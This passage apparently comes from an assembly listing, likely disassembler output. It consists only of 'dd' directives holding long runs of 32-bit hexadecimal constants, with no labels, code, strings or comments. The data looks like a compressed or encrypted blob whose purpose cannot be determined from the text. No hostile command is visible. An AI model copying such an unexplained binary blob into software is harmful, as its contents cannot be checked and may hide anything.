0B8364CE4h, 71E06ECFh, 0AACA74Ch dd 0F6A0EF89h, 0FD19003Fh, 0B4345D04h, 26A703DBh, 376B5F80h dd 0C86DA1D8h, 2C0015F0h, 49E4E0ACh, 0CD2477h, 0F57A3673h dd 683498F9h, 111A600h, 0E18CEF87h, 0F34D3893h, 3C7726h dd 0B7D0C295h, 0A9904632h, 7234B401h, 473E31F1h, 2BF4CE8h dd 6C6524FDh, 8850214Eh, 23175D00h, 38B92DF5h, 2EA300C6h dd 99CF7009h, 6E00125Eh, 0E4EE88E1h, 9056CDh, 0F1B35207h dd 6D1C38E0h, 16001579h, 35D97D6Bh, 9287643h, 30CAE9ECh dd 2D473040h, 0C08C2B00h, 89822AFCh, 7995005Fh, 0FB7FAB1Ch dd 0B8E2C161h, 86C46400h, 5ED4007h, 713F290h, 2DA3B4E9h dd 6CFBE063h, 6E076479h, 9276D751h, 0E6B391C0h, 0B26900Eh dd 72228203h, 6CAC1080h, 1EE627Fh, 1642DB00h, 9C125B59h dd 0A6935C9Ah, 0CC886801h, 0C43A8C5Dh, 5A0186F7h, 0FB11C02Ah dd 0B6702772h, 0C41600DDh, 0B8620628h, 0A324695Bh, 0D01CA468h dd 0C06007CFh, 779F96FDh, 0AF38007Dh, 17AED64Ah, 1CB042FFh dd 9A77E673h, 28E43D1Dh, 242B5140h, 0FE0A2C4h, 43FC4D21h dd 0A3025902h, 0B9C3C4E8h, 7C27112Eh, 74166B40h, 0E57003C1h dd 0BE9CBB64h, 80FD23E1h, 668613A0h, 1FC72561h, 0EC51DC38h dd 96070004h, 56B9FF60h, 7D647200h, 0ECC44731h, 0F6983957h dd 6DC63780h, 0C15E3B94h, 0D8A88230h, 7DA445h, 0D97BAE13h dd 233A1975h, 59A10300h, 1C39DBDDh, 2C8600EBh, 6770285Dh dd 37005E76h, 0D5E7C6C7h, 0F07263h, 0C354ADFFh, 780A89E5h dd 7B40D900h, 931CBA5Fh, 9BC200B5h, 7645FD26h, 0ED0035E9h dd 0FFACD8F4h, 9B5045Bh, 40A255A6h, 0BFE85860h, 0EB5F5101h dd 9AACBBD3h, 0CBAC60h, 0D25503BCh, 0FF3F740Fh, 58804900h dd 0A102EA70h, 1FE500B2h, 8E607DB9h, 1800443Ah, 0A3F1FE5Eh dd 4E0524h, 0A25F738Ah, 99C4E637h, 8E59FB78h, 0AD5E00E8h dd 0F753DBE7h, 0FF5800B6h, 0C7EF1E14h, 0FD7FDC42h, 6238DF0Fh dd 0E0EE8982h, 0CFA31388h, 0AFA0A5A9h, 4FACFD36h, 1B833B00h dd 0C2CAEF3Fh, 0E2E90063h, 5DF0672Dh, 271F92A8h, 0B542AC73h dd 785BA714h, 15050B4Ch, 73006A5Ah, 4CAA768Ch, 0BC5358A8h dd 0F8712100h, 9B9FBAD6h, 38093052h, 10938288h, 1A973300h dd 0E387183Bh, 0ACCF02DAh, 0D9C1BEF2h, 156E9080h, 930072EEh dd 43A9DD35h, 70F15FF0h, 52A0929h, 0A0017BE9h, 802018F7h dd 1C36CB90h, 3E26ED81h, 3DB06D8Ah, 0EB1E8E38h, 4D4F910Bh dd 0AC6C0302h, 0DE95B948h, 0F30DD4h, 0A66D2EFFh, 3387A991h dd 8357113Ch, 0AD6AE68Fh, 547DA0B4h, 185300DFh, 27376C60h dd 9E030C2Bh, 7CCEB9B7h, 0DF529006h, 0E4B4F6Dh, 5647B364h dd 0CD506092h, 841398EDh, 0F440D3F7h, 89FA0936h, 287E000Eh dd 0A1DAEDC2h, 7738D242h, 4F57801Ah, 8BB76DD4h, 0C22627ADh dd 160F9081h, 0E8A1D286h, 8040A537h, 21192918h, 0A9F90EBh dd 0A9F3BD86h, 0CFC760D0h, 0E424485Eh, 0EE00CB96h, 604EB4A4h dd 49CC0130h, 7503140Eh, 1A84D80Ch, 0B620949Ch, 12B95D00h dd 0CD737AE6h, 6953003Bh, 3A9B83Fh, 3532FD78h, 6018F644h dd 6E9EAB8h, 0FA0E3C7Fh, 7E003A71h, 0A2C1CB91h, 0F0D115Dh dd 29B8F2AFh, 0A880C82Bh, 18156F44h, 0A8D0791Fh, 0F9B20F00h dd 2414F707h, 81184E2Dh, 2BB5D89Eh, 4C817B92h, 8AD9F39Ch dd 798DECh, 0D649D422h, 681A67B4h, 43E440EDh, 0D7009A23h dd 99E3570h, 442CCEDh, 2A53717Eh, 529683C4h, 60171000h dd 0D91E5EA4h, 13EC00BFh, 212DAA30h, 0E8C2CED5h, 48A475BAh dd 65312B7Ch, 0C3389942h, 0EDABA128h, 0C06F0289h, 0AA05FBB2h dd 89D97AA2h, 0D44D7EC0h, 0F7750066h, 0CF87036Ah, 0EDEF3E86h dd 4540606Eh, 0F869C101h, 39130512h, 0BF3EDC40h, 0C850000Ah dd 10DAD65Fh, 9001B89Dh, 89F23A1Fh, 24205DA9h, 84B5132Ah dd 98133Eh, 0F17CCA2Eh, 2F32049Fh, 0C00AB08Ah, 34978Ch dd 8C289E53h, 636E3339h, 5B36B502h, 0D093DEF8h, 0A04B001Ch dd 469A8B0Ah, 0A600713Bh, 0A5B70576h, 1E7C515h, 0B414F3D9h dd 0D56CEB2Ch dd 5FBAF8A1h, 5045DD14h, 0AB900B8h, 378955D4h, 7E2A03F1h dd 57DC12D7h, 0BEAF18C9h, 4B981628h, 592CCCC2h, 31D3803Ch dd 6A461D45h, 1E2A70C0h, 8097F92Fh, 17046853h, 7AC6B861h dd 202AF480h, 3ECC39A5h, 18A7A918h, 8700523Ah, 38977C89h dd 92D111D7h, 0BFE73968h, 0B0F380E4h, 5B4CA9FCh, 5017E0Fh dd 6354DB69h, 0F8FCAB62h, 44EF4C19h, 9CD8B800h, 0DA6D95B4h dd 0E56A2E00h, 10D96C45h, 0B95B0A85h, 3DFE3CBCh, 0C1B03A80h dd 622C5C11h, 16870F16h, 0F300541Dh, 0CAA62E82h, 971400EFh dd 0CBE0987Dh, 0D0B8DD1h, 0E39EFEh, 8BF9A5C4h, 154B00E5h dd 97F1AC52h, 6A1F8CE7h, 0AE056EBCh, 82831727h, 0D7498D9h dd 0DD8B02A8h, 31195BA1h, 0BEF5ECE0h, 9129413h, 0D1AC2402h dd 0E6442055h, 2E00D5F3h, 90AA5C24h, 50CABD12h, 0E59018h dd 387E00Dh, 0F2312FE1h, 8101641Ch, 2957F980h, 0D06F9Ch dd 7BDEC8B4h, 0B1EBEA1Eh, 336C8E03h, 0D889D785h, 707E53D6h dd 0E99F0B18h, 0D0802BB8h, 0C07ABE98h, 86F50086h, 0BAE2626Dh dd 0C1130D55h, 74CC7641h, 257708h, 0E4FD3F80h, 0AB14F249h dd 0E9A45D1Fh, 0B4666344h, 0C4DDBDC3h, 0E8641489h, 40C0152h dd 66388D0Bh, 6F7B3035h, 1F419001h, 2AF56CEEh, 48B374DCh dd 16032C0Ah, 695CEDB7h, 6B4DA489h, 1F8444B0h, 0CEC74309h dd 6CE38FA2h, 0A1F8A9DEh, 96010825h, 0B0C969ABh, 0E42CD38Bh dd 7982E580h, 16008811h, 736CF036h, 92DC9Ah, 2365C712h dd 813DE6D0h, 7FEE3C00h, 193B9667h, 0A4B24F0h, 29808B54h dd 3FFC806Ch, 262CA05Dh, 808F94CFh, 6120B87Ah, 0C37C0036h dd 96474DCBh, 1726A032h, 7A131074h, 27E92302h, 98F8703Bh dd 217907B9h, 1048DBD2h, 0BB5E22FDh, 454E2000h, 0A9A890AFh dd 8F409717h, 564DF311h, 9894CA8h, 27595C4h, 0E069348Ch dd 0D4F3B6h, 452FC2C8h, 0DBC520D2h, 4766BB00h, 0AC041181h dd 0BF4C00EDh, 999FD84Dh, 0E00076E7h, 0A38A8766h, 1C3865Ah dd 3F2EA048h, 0D8AE4908h, 0C426FC41h, 0F10BB77Dh, 0FEA420CDh dd 0D807C9h, 482246A4h, 2B722E75h, 0B5AD3Dh, 73AC134h dd 1EBB541Ah, 0C0CF9D88h, 0FB5A0809h, 170E79A7h, 80CE322Eh dd 98367470h, 0A32500C3h, 0B1424943h, 4600EAA4h, 552DB420h dd 48E91FB9h, 0A350E04Ah, 0D058589Fh, 6725EC00h, 41BD7CC9h dd 0A61E2B02h, 5AA879E1h, 0F6D513E8h, 0D8048076h, 304DD4B7h dd 3C9000B0h, 99A16EFAh, 0B0CF00ABh, 0AAA5802Ah, 38B471E0h dd 0C2FD9002h, 0F514E896h, 0CA38C249h, 0C4C0B346h, 9B005E92h dd 0B7014A69h, 9818949Dh, 11A6006Dh, 0E11F836Bh, 8500C292h dd 69946D1h, 9A5461D8h, 0D2DB00B8h, 1C317398h, 9302A1E1h dd 848ED374h, 9852A0h, 63F79442h, 392F23C0h, 98006970h dd 6BFF910Ah, 0E8B1E7FCh, 0DB800721h, 3217BC41h, 0FC60F5B5h dd 0FF01B385h, 75BE04A2h, 0E0208279h, 3D6A1CF8h, 0C0C20B0Fh dd 0EA030800h, 2C603A30h, 0B11B9988h, 0E5560204h, 0D3D083F9h dd 25ED78E9h, 0CE40DDFCh, 8F50A4D0h, 0B5E06D94h, 0D8C6B709h dd 0FF1E8002h, 28EA4929h, 0DAB166h, 8BE45812h, 0C506E531h dd 0F478F000h, 8D9F5E82h, 7D402CF7h, 0B4023F4Ah, 0AE02DFFEh dd 49737440h, 98D72D0Fh, 31B24465h, 9655C1C1h, 0DC30D0C9h dd 129B0029h, 6C0B3A07h, 900138E1h, 79955E0Ah, 0F570AD9Ah dd 0A8113E14h, 7A2F2200h, 675BCF3h, 4E00D47Ch, 21169638h dd 0A5C693h, 325CC4DCh, 111FEC57h, 39696D00h, 749EC104h dd 884A04Eh, 70C8F64Bh, 0E7FE0E80h, 7602B5CFh, 0F058D122h dd 0AB1F7A01h, 75E2397Eh, 7D05883Ch, 808CD689h, 0D529A957h dd 33A541Ch, 28DFBA1Fh, 94AB7907h, 72B75F30h, 171E13B2h dd 1A3C40BBh, 82DAC7FAh, 4A433700h, 5C2D09Ah, 50140577h dd 803ED5C4h, 10EB597Ch, 55A8E200h, 0C2C30124h, 1CF200A2h dd 0D6716162h, 0A000312Dh, 8B7A918Dh, 7752F69Fh, 3F178DEh dd 2B37C880h, 0D798A6F4h, 849AC083h, 989EF872h, 0DF840740h dd 0EBF000D6h, 6F8F096Dh, 2C00544Ch, 8E94CA8Dh, 1AAA03h dd 3B11DBA1h, 0AFCF075h, 280937FEh, 81D87AC8h, 0DA47173Ah dd 5406B438h, 982CE443h, 3A012E7Eh, 8E97F625h, 0E8656E34h dd 340B830h, 29081054h, 0FFA882D1h, 0A6F01AB3h, 0BD63CC07h dd 484212EEh, 29CD98Fh, 727C7F64h, 7B87DA40h, 1EFADE01h dd 9FCB68E0h, 0B316E8E7h, 3EC7C5Dh, 0E9666708h, 9DA87475h dd 49000152h, 301251C4h, 1253E77Ch, 0F928237h, 0A3E07420h dd 0F97A2EE1h, 0B7ED5D1Fh, 0C519AF41h, 402C610Fh, 759E0750h dd 310E3EC0h, 14877E00h, 906C162h, 0EF56B71Fh, 37042D80h dd 770C7802h, 3321004Ah, 9AA0FCCh, 861D8863h, 0F73AD39Dh dd 0AC12FD00h, 6D605D6Ch, 971800F2h, 0A2FC10E9h, 7803B17Bh dd 5B2368B0h, 0AD11D8D6h, 0D7A0098h, 0D7880641h, 0CA017FF5h dd 6B810E3Ch, 69E2AC89h, 0C470DD8Ch, 73E107F2h, 81C17741h dd 0F89D5E80h, 6B0018B6h, 0F674F814h, 2D366Ch, 4C5CAA60h dd 0E7EFE80Ch, 4F44CA00h, 37F8B473h, 0AED0009Fh, 7DC76C98h dd 80EF14E6h, 25BBEEB8h, 73CDBA1Fh, 28A30077h, 0CA64F8F2h dd 0A5780BB0h, 3D00DBEAh, 977C26FEh, 82F78Ch, 6E672EFAh dd 0D9B80DF4h, 8A00A492h, 0A5E5A475h, 179AF8C2h, 0C0EDF72Eh dd 86C331A0h, 3303AD98h, 21FFFE35h, 84EC8D1h, 2A8FA0Dh dd 0B5DD5A47h, 2C5869DBh, 61D40900h, 3ABDC55Bh, 2F20BEBh dd 24437FADh, 420DC4D8h, 854809E2h, 158900C4h, 904344B8h dd 0F5FE282Ch, 118F6918h, 6A139C20h, 0B02F3Fh, 8DDBF40Fh dd 0CDA6C247h, 82FCE8CBh, 0AD5E308Ch, 0AE942489h, 84E96B1Dh dd 5781DF03h, 78D6E372h, 186EFC18h, 2020C111h, 0F6016D46h dd 97A57E5Eh, 2440038Dh, 4D079Eh, 0AEA67CFFh, 193CDB4Eh dd 975DCA06h, 0C0384C45h, 42674158h, 0F17B1001h, 87F37503h dd 0FE97B21Fh, 30580068h, 1C3BAA66h, 74008907h, 0BE52D2A0h dd 584BAC5Dh, 2C0082B9h, 0FD0E8771h, 38008297h, 6572456h dd 0E65BA5ABh, 818907DFh, 573ACC18h, 3EAE60F1h, 9600EEECh dd 0CF52FF83h, 38F997E3h, 8480F2D5h, 6330643Ch, 0AB0019A3h dd 27ACD56h, 1BB901Fh, 1AE4938Bh, 0D379222Eh, 528E50D8h dd 88FD3C00h, 994E398h, 0EBE1C799h, 83B7120Eh, 8655905Eh dd 10192476h, 1C618700h, 31F92630h, 35A7DA4h, 33F502A7h dd 0D4C8B75Bh, 3F005835h, 2F613A1Eh, 53D18Eh, 0CC4C9457h dd 447BC587h, 0B98C2800h, 0FDDBB633h, 75F91C47h, 40198EE6h dd 7051A6A0h, 0DE00D8AAh, 4B35CF65h, 0EC01562Ah, 90FE0348h dd 390B559Eh, 9597BB0h, 0BEA2B50Fh, 72B42079h, 6B2CEEh dd 69A30EFAh, 0F3D6979Eh, 617D4100h, 0C98C59CFh, 18AB1C7Bh dd 0A2A8A4h, 0F34B8623h, 0A0C865D0h, 74720600h, 28DA88D1h dd 98810045h, 10E537CAh, 831E7DCBh, 88586F87h, 2A4EF8h dd 4052C644h, 0A1B3A926h, 0DF6AD900h, 95D57DCh, 0CA5A1230h dd 1807FF2Ch, 9F507E68h, 72AE89h, 5EE90556h, 47C465C5h dd 4335C01Fh, 5F00511Dh, 0C3F3FB3Fh, 6A600BCh, 0AF1B289Eh dd 8000190Bh, 0CC91FF4h, 0B886827Dh, 0CE7C00ACh, 5A257BA5h dd 0CF0FCDCCh, 0C041C02Dh, 2AA9BCC1h, 702203AFh, 46D4A65Bh dd 2F0EF07Dh, 41C7AAF0h, 0C40DA460h, 0ACB0003Bh, 0D7FE402Ah dd 0AF634300h, 4632ABCCh dd 6FF10047h, 5C2D4FEEh, 9F07D3D6h, 74125824h, 0C0701580h dd 6BF000FAh, 75952C88h, 2100C676h, 0C9797AADh, 18EA1C4Bh dd 106046BDh, 9C0077A6h, 0E7F70AFDh, 97D0203h, 9799F88Dh dd 0E2894410h, 4EFC000h, 7305A245h, 0A6E6A8h, 0C5338535h dd 15C12E48h, 0A7A07B00h, 9F02FC6Eh, 0F00FF090h, 0CB0300D3h dd 5AFB11C4h, 103670Ah, 0F9C6BCE3h, 0A3E78887h, 1E3C0158h dd 61236D5h, 0A79D6079h, 0DAF180EFh, 6E76B51Ah, 89330FC9h dd 3A8E1ECDh, 0A570C301h, 0F42EE92Fh, 76008E4Dh, 0C1A11BE3h dd 93ECC0Bh, 0E4E5A25Fh, 2F49FD00h, 0D4925E7Fh, 0BD01202h dd 81A3F5E1h, 68D895DCh, 3A33F8h, 0ECD3CB4Dh, 0C87DF36Eh dd 0AD39B31Bh, 6B30F029h, 9720029h, 0AE6026F0h, 8B48F977h dd 0E8A700D0h, 8F24413Dh, 96200F6h, 2AC55A20h, 0B07D933h dd 91A46CD6h, 6383F41Ah, 0F2C68567h, 4100F747h, 0C5BE4352h dd 0E4E0600h, 8C2CB873h, 4C8E9812h, 0AD003AC7h, 6C602F77h dd 0A9302DEAh, 0FC41989Eh, 34390257h, 7F452791h, 3DB89880h dd 7003F2B9h, 599BEA8Ah, 7418007Ch, 31A8C019h, 2F154807h dd 8CF0E3h, 5D242EE9h, 0CE8F1Dh, 37D62B8Dh, 97724D0Dh dd 288BD200h, 32042733h, 3E1A3B42h, 802C1DA6h, 0EDEFF667h dd 1B0070BEh, 0C3A6C16Ch, 3F98D777h, 8863B943h, 0FFD08493h dd 3A0FB55Fh, 801744E1h, 5C7FEEA7h, 0B46E0074h, 0C16D68BAh dd 4B00EF85h, 44D0D650h, 19332F1Dh, 1A3EB4FCh, 19827064h dd 81740B3Bh, 0C41392C2h, 90801E1Ch, 5D82D9AEh, 3200F0BBh dd 81DD896Dh, 2E6054h, 0D3FA71A7h, 8AC3368Fh, 0DE20100h dd 99584C28h, 38C09A32h, 0CA040B95h, 0C2CB5E31h, 0A240A3B8h dd 0B6000CDAh, 0DB84BC1Bh, 3521CA2h, 0ED54886Ah, 65E19087h dd 62C4EC39h, 5B3D4700h, 63178027h, 744C003Ch, 3E022CCh dd 0D3001348h, 120ED0D4h, 0AE79DEh, 33BA5908h, 0FC836E2Fh dd 0FA5BA105h, 0D040CF81h, 7376D582h, 913F0339h, 496E0BF7h dd 93A8DCD8h, 0A2064400h, 8323FBA5h, 88B603CBh, 7147499Bh dd 0F4F7BD98h, 0E4D29C00h, 0E0C2F1FFh, 28EE00B2h, 8AE3D307h dd 0C7009A68h, 5C4A673Bh, 3585B7h, 997BA8C5h, 0AA092D34h dd 1B5E7C00h, 8658034Ah, 2A8802FFh, 0EE86319h, 8609CA2h dd 809B2710h, 0F800B1A5h, 0CE3CC3B6h, 279B85Ah, 86F0AFCBh dd 0B868309Ch, 980982D8h, 0F14A0DDh, 3AE8C020h, 0D99BE2h dd 0AA43122Fh, 0BC72A149h, 0EDDA3700h, 9A3097F2h, 98A73AC9h dd 6140FE80h, 0F40DDCA1h, 7476993Fh, 5EF38A00h, 0E0C52C9h dd 5476D0h, 0FCA2E0A1h, 8161E1DDh, 45DA86C0h, 1E92CFCCh dd 0F95CEA23h, 0BC598E00h, 6A4A0C19h, 0C3469F01h, 7AF409Dh dd 0D670F8CDh, 269730DBh, 754FFFE8h, 0B3242300h, 4BD9BC47h dd 0F1275DCh, 0CD83F605h, 7F4ACC01h, 33308FE0h, 3488C05Eh dd 6315E2h, 4EA004B4h, 0FF9F0DD8h, 3865FB01h, 1B92675Eh dd 5A8798EFh, 9CE1164Fh, 0BCE00020h, 0AFF87B50h, 2E853C1Fh dd 0C0BF5E00h, 471633h, 0D2A57D9Fh, 0E4814B6Fh, 9936FD00h dd 4623D0B2h, 0EDB50037h, 0C16FED5h, 157878F8h, 0AE478200h dd 347A55B0h, 791C0002h, 0F04F05E6h, 300084F5h, 0DDCF4E2Ah dd 3D50225Bh, 4100B749h, 13A212C6h, 7C79A19Eh, 0A41C5892h dd 43986274h, 1D2B28h, 9DAF2170h, 0AE63D0D1h, 9FCBBB01h dd 0EA3C6B64h, 0E93E30h, 0ACFA2DD9h, 63D35117h, 3528B100h dd 2BE4D5C0h, 327A005Bh, 178CDCCAh, 2C01BC29h, 52B006A1h dd 5C8B646Bh, 67807D98h, 0EAE95972h, 20098B25h, 18D2D858h dd 977D0742h, 415D4446h, 3190669Ah, 0F3ADE1CCh, 36EC0D7h dd 6C92C3CFh, 0F6764600h, 548DDB8Fh, 844B00F5h, 69E79A5Ah dd 7E253E06h, 0CE8C307Dh, 0D874D2h, 0A18C89C1h, 6691498Ah dd 0B674EAF8h, 8030B86Fh, 6F0F6008h, 5AD804D6h, 0A5B42353h dd 0D356C0B8h, 1C978700h, 3A0E2DABh, 3D5A39D1h, 0FB893080h dd 674D5B44h, 63843614h, 0C8089740h, 0C2A4804Fh, 78CAFAE6h dd 0AFA81216h, 0BC308417h, 506744A1h, 0CDD08Ah, 0B22FBF94h dd 4FA60496h, 4CB11D03h, 0C045F733h, 19D38A9h, 0B56B6C0h dd 406BC17Dh, 644DA595h, 30946800h, 54EE0623h, 87A402ABh dd 77ED076Bh, 6D9395C0h, 0F3C27B07h, 3BE135FCh, 0DEC04FA9h dd 1BDCF7BAh, 0C5F000E6h, 5C213A2Bh, 2700F9ACh, 36CD2ED3h dd 17CC9Eh, 3ECC4C1h, 0AB89B9F5h, 0F3D58601h, 8F43BFC9h dd 0C69834h, 0D2FC6301h, 0EA755E5Fh, 0DA599303h, 0D00B981Fh dd 54BB1B3Eh, 3A7198A0h, 4B0042F9h, 5EA7EC5Dh, 4E72400Ah dd 575820B7h, 24312Ah, 0A20C9369h, 34872837h, 3244B301h dd 4875D755h, 0D3E8406Bh, 0FE7DCB43h, 68D4206h, 484E14h dd 92DE099Eh, 51401653h, 1EE21901h, 8E9D41CAh, 18FC56F2h dd 0A8C7095Fh, 75B53748h, 0CB3C5900h, 0B75AFF19h, 4DF53DBFh dd 67563001h, 80F34035h, 9EA315A9h, 0F77944h, 0DC89434Ch dd 4751BB09h, 13ACAD00h, 3FCE650Eh, 67930050h, 96028D5Eh dd 4FF25B01h, 0AC907C5Bh, 0E64327h, 644C1821h, 0E783F7C3h dd 0A0988722h, 2635098h, 8A6EADECh, 6223C255h, 89CFE9AFh dd 1CFFCAC4h, 81D3C12Ch, 5460A99Eh, 9E18095h, 6B135A6Ah dd 46530F80h, 45C79D63h, 8D21637Ah, 0D0626991h, 0B9019FD9h dd 933EFA5h, 0B0C0DACDh, 0C6563CEAh, 0BD123600h, 2D9AB54Dh dd 0C9116D03h, 776EB7Ch, 7DC49CA9h, 5B84F0CDh, 0DA00BCA0h dd 0C1E92FA9h, 5EAA2E7h, 5E1CC8C4h, 86D50007h, 0D35DBFF1h dd 761801F2h, 0FE187CB1h, 0E671E75h, 289B0586h, 2D18008Eh dd 45D005B6h, 0C2D2BF0Eh, 0F388A038h, 1F4B9B2Bh, 0CA28D6h dd 4936A2A9h, 4000139Dh, 57BF032Dh, 0EEB3CCh, 0EC0529Ch dd 3523BD8Ah, 6331E505h, 142C434Dh, 3D1D0177h, 0A4E36762h dd 60284E43h, 0A84516E0h, 78DD00B2h, 6503ED42h, 59009ECDh dd 36B9B50Ah, 14322F75h, 14AB2AB2h, 6652A6F0h, 7D51E305h dd 742CC7E0h, 43500302h, 633DAF97h, 0DEC8E8BBh, 5A00B975h dd 7A98270Fh, 0A7BA918Ah, 1A4E0034h, 63764347h, 51E93F15h dd 6F728020h, 291536BBh, 6844D387h, 197C01CCh, 57731170h dd 7D048AD4h, 1FDED161h, 513B1086h, 0FC7F1815h, 1C195B00h dd 0F0D2099h, 0E0CFC86h, 3B7484BAh, 19BB98E1h, 887DC9FDh dd 45429h, 0AE402568h, 82070801h, 1F92F920h, 5B219420h dd 14F607h, 12A234EEh, 0C3D497E0h, 4A172900h, 1E0E4B5Eh dd 0FA7705h, 0AD61CDD6h, 993A3E51h, 624D7400h, 2B870F81h dd 85F000E0h, 0A69E8677h, 0C0EF7507h, 390067B3h, 64A39FECh dd 0FB856F7h, 8ECB6FD7h, 3E2B4D40h, 0FC00FBC7h, 5C4110DCh dd 3222F62h, 54D860C5h, 3DF038B3h, 9C00B718h, 0FB6BE08Bh dd 0E44F55h, 4E641785h, 0B0CF03Ch, 99044B30h, 0B001A82Bh dd 9CF40011h, 0A5226758h, 9F003C55h, 534A327Eh, 1D01D289h dd 0BBC5A606h, 4F0EC480h, 0DD1EE44Eh, 545AE900h, 196A06C6h dd 3E3900AFh, 0CA662635h, 8600C228h, 149EA1BBh, 3DAAA679h dd 0B980BF57h, 0B2F3DB9Ch, 8D28E4C7h, 0EE00E819h, 68636E6Fh dd 60A18218h, 0E6E031A8h, 0CF00ABC2h, 9B148819h, 47E298h dd 5BA26C50h, 646F0C43h, 18E01A09h, 8AED02C0h, 381448C4h dd 5A24A0A3h, 164FAF2h, 0EDC9C746h, 802954B3h, 0D2AA0958h dd 0C40C1A7h, 5814211Fh dd 120063ECh, 832E858Eh, 3D76A38Ch, 900E79FBh, 87E03F84h dd 0F0F85A5Bh, 9316CD01h, 548F9A0Ah, 11DEF4h, 0CB3B1358h dd 1C1B3408h, 9EA2672h, 5C207C18h, 1D4511h, 84C05350h dd 74E7A330h, 0F057B000h, 61BF3783h, 0F79A2439h, 9BDE807Ch dd 0BDDAFF40h, 24BA49h, 0D5784642h, 811136h, 0DE807AB2h dd 85059B4Bh, 0EF016C76h, 0AC43F43h, 0F4405BEBh, 0C63B28h dd 0F721D72Eh, 6F579E66h, 98262313h, 874B1000h, 75A6DB6h dd 642F0E0Ch, 0BB46E0B2h, 0A21CF7C0h, 3A00EF51h, 0A0B6449Ah dd 0B4A40013h, 7F102C1Eh, 3308911Ah, 81D6E864h, 0C17E40FFh dd 17CF202Dh, 599913Eh, 0E7672AA5h, 0DF6ECC00h, 731FEDh dd 4B16F157h, 723C850h, 0B9AEC40Fh, 207E0B55h, 0DA091F34h dd 7054013Eh, 0BBCBC28Ah, 41E4418Eh, 0DEB8D830h, 0DCD5F300h dd 28BC2414h, 409C57F7h, 1E361300h, 0C5477E0h, 0D003EA01h dd 897B2550h, 1E6C2C20h, 583430A7h, 476030A6h, 0EE04C407h dd 0BB931h, 6FB23AD3h, 0F8ED3027h, 0E784AC70h, 42B30E1Eh dd 5D027E40h, 0B63B33h, 0FC4A1D53h, 20E770E0h, 0B358F40Bh dd 9068024Ch, 76A4445Bh, 19A8A0FBh, 0A9C203ACh, 0BCA6052h dd 87A091CBh, 0FE74907Ch, 0ED128912h, 19FBC000h, 0A86CFA33h dd 403DD2BCh, 0B3428987h, 461DD00h, 3A681FA1h, 4C29AA00h dd 410ED15Fh, 87E0C067h, 779D722Dh, 6818B705h, 0BC04BE82h dd 3C051436h, 0CF45407h, 0F02C1101h, 0F902476Dh, 948051B8h dd 66797029h, 0D88D1200h, 0FD580E42h, 0C879485Eh, 0DE55BC80h dd 0A86194C1h, 0E8902278h, 7D5A83FCh, 5DAE0073h, 20948CCh dd 0A02F547h, 4B9931ACh, 0D2989062h, 0AE2F0083h, 0ED0CC1ECh dd 85091D42h, 693DC8Dh, 29023AFh, 951E3F01h, 869E247h dd 4844306Fh, 80964312h, 328CA000h, 999D9192h, 70398034h dd 94F5E85h, 3CE0A909h, 7AA0837Dh, 0FDB34Ah, 0A79318B9h dd 0E5EAB577h, 0B8042171h, 68BC9A92h, 0A0800CC8h, 2A7B62E6h dd 20A8991Fh, 3F20940h, 0BC4FD40Fh, 75ED0176h, 7C3349ABh dd 0F844A107h, 70A386ECh, 56304827h, 6E21FB2h, 18A2412Bh dd 0ABD2AD14h, 7BE7A3DCh, 302D0040h, 8173599h, 4303F96Ch dd 0D27733DFh, 0EACBB8Bh, 0F45C06F0h, 98B9D3A0h, 0CA091158h dd 807B8647h, 14ED9DACh, 0C3823071h, 41224B5Ah, 0F1DD5201h dd 0EA1C746Dh, 1E059F4h, 94C84A7Eh, 0D41219E6h, 0BB71922Eh dd 8488A424h, 0F285940h, 309B7709h, 86486314h, 2AC298FEh dd 8068FD04h, 9D324BCCh, 7DF5002Eh, 0F2D4C2B5h, 56002FF6h dd 36C3C22h, 0DCAD24h, 0D946A86h, 2E71B1B9h, 17E7D200h dd 9F2CF15Ch, 5B5300CAh, 6C7DA247h, 7401E5D1h, 7A2E4D46h dd 0B03064FCh, 49ED02C6h, 0CAE01DD6h, 0C8F71449h, 4713D38Ah dd 18411E20h, 0CFD5A9C7h, 0BC9FE0EBh, 4C190072h, 81862EC3h dd 8800DCE8h, 39BC2B0h, 0FF4D48h, 0B240F79Dh, 0E9DF5FCAh dd 60582E24h, 0A001B400h, 1F44655Eh, 407C0CE7h, 3686F968h dd 3200E4B8h, 0E0B278FBh, 2663A8h, 4E237AA4h, 9BF03FAEh dd 0D21B7400h, 0F71ADD9Ah, 0F89400B1h, 848BE392h, 14710D25h dd 32582900h, 557182ECh, 36A500AAh, 610AE995h, 0D2188BBCh dd 0AD0E51C7h, 2CD49AC0h, 4E30B260h, 6EFA00B1h, 0C0917279h dd 0D2C10064h, 0C7430546h, 2612EC8Bh, 88403378h, 0F6169BE9h dd 8853016Bh, 2B3069B2h, 4498011h, 0A1902554h, 26289A3Ch dd 50A018E3h, 380F2441h, 43C050A7h, 0D8899AF6h, 0EF28E3Fh dd 2AF5B639h, 0A03C1649h, 0BE5CB91Ch, 1B54A0C7h, 97D662h dd 0DFE35065h, 0FC22BD17h, 40884428h, 9D7F6B04h, 0ADA85801h dd 7648AFCFh, 24C0024h, 0AAA2FE0Ch, 4CEE275Fh, 74384002h dd 40374E78h, 486114h, 7C5D41C3h, 3E459EB1h, 8332FA01h dd 6654AC97h, 0F4BD020h, 9AE48A40h, 5C4241C0h, 83008ED4h dd 0E13C3ABEh, 2F0988Fh, 0F6C474E0h, 0D4A0DB87h, 0C27D9F2Ah dd 0C0683A59h, 0D31D7125h, 0B88100B0h, 7DD2F8A4h, 0C5015075h dd 0D142FDCCh, 0BCD03851h, 819D3D5Ch, 35E6CD80h, 7A5A5846h dd 90554000h, 0D156FFBh, 696116BCh, 2C01353h, 0F38A88D4h dd 0AEE2D480h, 3B3F8562h, 3D540073h, 381A41E1h, 537A0431h dd 0C035E927h, 0C47064D0h, 63B16017h, 45F71028h, 35B83087h dd 6E385A01h, 4FE61E92h, 0E84DD6D0h, 0FA5D0171h, 40B7C2B4h dd 8108299Dh, 44340BDEh, 2F42024h, 5AD83849h, 31C0A0DDh dd 0CF025EBCh, 95D36AA3h, 17F4C02Ch, 9A1500FAh, 6038EBA7h dd 0F73A7B30h, 20980FDEh, 6D3AC0ABh, 6256452Ah, 0DB325808h dd 28B10640h, 0F6BC5B16h, 73106C44h, 504434A7h, 21CE00D6h dd 1EFCA79Dh, 9C0052A8h, 0D3E14ECBh, 1A10B13h, 819A7DE8h dd 205FA067h, 0DB099864h, 20FBD0CFh, 7F96CE9Ch, 38057CF0h dd 4A8C4E2Fh, 49F1B42Ah, 0DAE8FC00h, 0B56AB80Dh, 9F62173Ah dd 0A3020065h, 0F9ACAD30h, 0D36CF418h, 18C76F51h, 